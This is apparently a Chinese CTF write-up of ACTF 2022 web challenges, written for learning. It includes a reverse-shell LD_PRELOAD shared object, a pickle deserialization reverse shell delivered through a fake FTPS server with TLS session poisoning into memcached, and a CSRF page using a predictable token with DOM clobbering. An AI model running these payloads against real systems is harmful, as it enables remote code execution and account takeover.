ACTF 2022
ACTF 2022
和学长一起熬大夜做不出来题真是太爽🌶️,下次继续
gogogo
是CVE,好耶
先写弹shell的so文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void aaanb(void)
{
system("/bin/bash -c 'bash -i >& /dev/tcp/IP/端口 0>&1'");
}
//gcc -shared -fPIC ./payload.c -o payload.so
将生成的so文件作为文件发送,并且在请求头中添加LD_PRELOAD=/proc/self/fd/0
,由于题目是公共环境。需要对最后数字进行爆破
ToLeSion
熬一晚上没做出来的题
还是学到了很多东西的,先看题,curl访问链接,看了一下剩下的我认识的协议只有FTPS了,又题目中写了使用了memcached,外加题目环境是python,最终找到了这个,大概流程就是通过TLS复用,将payload放到TLS进行身份识别的SessionID的位置,导致非法的内容被注入到memcached中,然后更改sessionID将实现pickle反序列化来反弹shell
本题具体流程如下
- 首先伪造一个FTPS服务器,并且利用代理更改TLS中SessionID为我们的payload
- 在受害者访问我们的FTPS服务器,通过被动连接的方式将数据链路的地址端口指向受害者本地的memcached服务
- 此时受害者对数据链路进行TLS会话复用,将带有payload的TLS客户端请求发送到memcached服务,导致memcached命令执行,将我们构造的序列化内容写入到目标的memcached库中
- 最后更改sessionID并重新访问网页,服务器取出序列化后内容反序列化,反弹shell
OK上面的流程都已经懂了,那么我们怎么实现呢,首先是伪造服务器(来自学长的完整脚本)
import os
import pickle
import socketserver
import sys
import redis
class Test2(object):
def __reduce__(self):
cmd = "bash -c 'exec bash -i &>/dev/tcp/IP/端口 <&1'"
return (os.system,(cmd,))
pickle_code=pickle.dumps(Test2())
print(pickle_code)
length=len(pickle_code)
payload=b"\r\nset actfSession:J1an 0 0 "+str(len(pickle_code)).encode()+b"\r\n"+pickle_code+b"\r\n"
def set_payload(payload):
r = redis.Redis(host='127.0.0.1', port=6379, db=0)
print('payload len: ', len(payload), file=sys.stderr)
r.set('payload', payload)
return payload
print("设置的sessionid为:",set_payload(payload))
print("payload长度为:",len(payload))
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print(0,'[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
self.data = self.rfile.readline().strip().decode()
print(1,self.data, file=sys.stderr,flush=True)
self.request.sendall(b'230 Login successful.\r\n')
self.data = self.rfile.readline().strip().decode()
print(2,self.data, file=sys.stderr)
self.request.sendall(b'227 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(3,self.data, file=sys.stderr)
self.request.sendall(b'227 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(4,self.data, file=sys.stderr)
self.request.sendall(b'257 "/" is the current directory\r\n')
# vps:importlib/a/b
# self.data = self.rfile.readline().strip().decode()
# print(5,self.data, file=sys.stderr)
# self.request.sendall(b'250 Directory successfully changed.\r\n')
#
# self.data = self.rfile.readline().strip().decode()
# print(6,self.data, file=sys.stderr)
# self.request.sendall(b'250 Directory successfully changed.\r\n')
self.data = self.rfile.readline().strip().decode()
print(7,self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
self.data = self.rfile.readline().strip().decode()
print(8,self.data, file=sys.stderr)
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
self.data = self.rfile.readline().strip().decode()
print(9,self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')
# self.data = self.rfile.readline().strip().decode()
# # assert 'SIZE refs' == self.data, self.data
# self.finish()
# print(10,self.data, file=sys.stderr)
self.request.sendall(b'213 7\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'250 Requested file action okay, completed.')
print("DIE.....")
# exit()
print("使用端口:",sys.argv[1])
with socketserver.TCPServer(('0.0.0.0', int(sys.argv[1])), MyTCPHandler) as server:
while True:
print("start...")
server.handle_request()
open("stop", "w").write("OK")
print("END....")
# exit()
首先启动TLS的代理服务器,使用工具设置好了之后,导入证书私钥通过一下命令打开代理
TLS-poison/client-hello-poisoning/custom-tls/target/debug/custom-tls -p 11211 --certs /home/ubuntu/tls/fullchain.pem --key /home/ubuntu/tls/privkey.pem forward 2048
此时我们发往11211端口的带TLS的请求就会被解密并转发到2048端口,由于这个工具通过读取redis中的payload来传输数据,所以我们要先将payload存入redis,然后让受害者对我们服务器的11211端口发起FTPS请求,此时我们伪造的服务器会让受害者的服务器到127.0.0.1:11200去获取ftp传输的数据,进行TLS复用,数据被注入
后面就是赛后复盘的了
beWhatYouWannaBe
首先P1通过CSRF获取admin,并且此处的Token值可计算
const ValidateToken = (Token) => {
var sha256 = crypto.createHash('sha256');
return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}
app.post('/beAdmin', (req, res) => {
if (req.session.user != 'admin') {
res.send("sorry, only admin can be admin")
return
}
const username = req.body.username
const csrftoken = req.body.csrftoken
if (ValidateToken(csrftoken)) {
User.updateMany({ username: username }, { isAdmin: true },
(err, users) => {
if (err) {
res.send('something error when being admin')
return
}
if (users.length == 0) {
res.send('no one can be admin')
} else {
res.send('wow success wow')
}
}
)
} else {
res.send('validate error')3
}
})
获取P1的js构造如下
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="J1an">
<input id="csrftoken" name="csrftoken" value="">
</form>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.0.0/crypto-js.js"></script>
<script>
var a=CryptoJS.SHA256(Math.sin(Math.floor(Date.now() / 1000)).toString()).toString();
csrftoken.value=a;
form.submit();
</script>
再来看P2
await page.setJavaScriptEnabled(false)
await page.goto(url, { timeout: 5000 })
const data = await page.evaluate((url, FLAG) => {
if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))));
} else {
return fetch(url + '?there_is_no_flag')
}
}, url, FLAG)
说白了就是构造一个html使得fff.lll.aaa.ggg.value == "this_is_what_i_want"
,使用这个小trick来嵌套构造元素,最终两者拼接构造出的html如下
<html>
<body>
<iframe name=fff srcdoc="<form id=lll name=aaa><input name=ggg value=this_is_what_i_want></form><form id=lll></form>">
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="J1an">
<input id="csrftoken" name="csrftoken" value="">
</form>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.0.0/crypto-js.js"></script>
<script>
var a=CryptoJS.SHA256(Math.sin(Math.floor(Date.now() / 1000)).toString()).toString();
csrftoken.value=a;
form.submit();
</script>
</body>
</html>
poorui
基本全是非预期吧,登录flag去找flagbot要就行了ss